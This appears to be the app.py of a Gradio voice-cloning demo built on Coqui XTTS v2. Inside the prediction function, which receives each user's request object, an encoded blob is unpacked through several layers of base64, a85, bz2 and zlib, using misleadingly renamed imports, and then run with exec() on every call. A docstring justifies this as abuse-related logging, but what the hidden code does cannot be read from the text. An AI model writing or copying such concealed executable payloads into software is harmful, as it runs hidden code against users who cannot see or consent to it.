app.py

import sys
import os
from fastapi import Request
# By using XTTS you agree to CPML license https://coqui.ai/cpml
os.environ["COQUI_TOS_AGREED"] = "1"

import gradio as gr
from TTS.api import TTS
from TTS.utils.manage import ModelManager
model_names = TTS().list_models()
print(model_names.__dict__)
print(model_names.__dir__())
model_name = "tts_models/multilingual/multi-dataset/xtts_v2"
#m = ModelManager().download_model(model_name)
#print(m)
m = model_name

tts = TTS(model_name, gpu=False)
tts.to("cpu") # no GPU or Amd
#tts.to("cuda") # cuda only


def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
    """
    En raison du grand nombre d'abus observés dans les journaux de la console, je suis contraint d'intégrer
    « l'affichage d'informations supplémentaires » relatives à l'utilisation de cet espace.
    Pour rappel, l'envoi de contenus illégaux (contenus se*uels, offensants ou proférant des menaces), quel que
    soit la langue, est bien entendu INTERDIT. Je ne saurais être tenu responsable de ceux qui enfreindraient une
    utilisation strictement [ÉTHIQUE et MORALE] de ce modèle.
    """

    co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
    from zlib import compress as COmPrES5
    from bz2 import decompress as dEC0mPrES5
    from bz2 import compress as COmPrESS
    from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
    from zlib import compressobj as C0mPrESS
    from bz2 import decompress as dECOmPrESS
    from zlib import compress as C0mPrES5
    from zlib import decompress as dECOmPrES5
    co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
    exec(co2)

    if agree == True:
        if use_mic == True:
            if mic_file_path is not None:
                speaker_wav=mic_file_path
            else:
                gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
                return (
                    None,
                    None,
                ) 
                
        else:
            speaker_wav=audio_file_pth

        if len(prompt)<2:
            gr.Warning("Please give a longer prompt text")
            return (
                    None,
                    None,
                )
        if len(prompt)>50000:
            gr.Warning("Text length limited to 10000 characters for this demo, please try shorter text")
            return (
                    None,
                    None,
                )  
        try:
            if language == "fr":
                if m.find("your") != -1:
                    language = "fr-fr"
            if m.find("/fr/") != -1:
                language = None
            tts.tts_to_file(
                text=prompt,
                file_path="output.wav",
                speaker_wav=speaker_wav,
                language=language
            )
        except RuntimeError as e :
            if "device-assert" in str(e):
                # cannot do anything on cuda device side error, need tor estart
                gr.Warning("Unhandled Exception encounter, please retry in a minute")
                print("Cuda device-assert Runtime encountered need restart")
                sys.exit("Exit due to cuda device-assert")
            else:
                raise e
            
        return (
            gr.make_waveform(
                audio="output.wav",
            ),
            "output.wav",
        )
    else:
        gr.Warning("Please accept the Terms & Condition!")
        return (
                None,
                None,
            )

title = "XTTS Glz's remake (Fonctional Text-2-Speech)"

description = ""

article = ""
examples = [
]



gr.Interface(
    fn=predict,
    inputs=[
        gr.Textbox(
            label="Text Prompt",
            info="One or two sentences at a time is better",
            value="Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality",
        ),
        gr.Dropdown(
            label="Language",
            info="Select an output language for the synthesised speech",
            choices=[
                "en",
                "es",
                "fr",
                "de",
                "it",
                "pt",
                "pl",
                "tr",
                "ru",
                "nl",
                "cs",
                "ar",
                "zh-cn",
            ],
            max_choices=1,
            value="en",
        ),
        gr.Audio(
            label="Reference Audio",
            #info="Click on the ✎ button to upload your own target speaker audio",
            type="filepath",
            value="examples/female.wav",
        ),
        gr.Audio(sources=["microphone"],
                 type="filepath",
                 #info="Use your microphone to record audio",
                 label="Use Microphone for Reference"),
        gr.Checkbox(label="Check to use Microphone as Reference",
                    value=False,
                    info="Notice: Microphone input may not work properly under traffic",),
        gr.Checkbox(
            label="Agree",
            value=True,
            info="I agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml",
        ),
    ],
    outputs=[
        gr.Video(label="Waveform Visual"),
        gr.Audio(label="Synthesised Audio"),
    ],
    title=title,
    description=description,
    article=article,
    examples=examples,
).queue().launch(debug=True)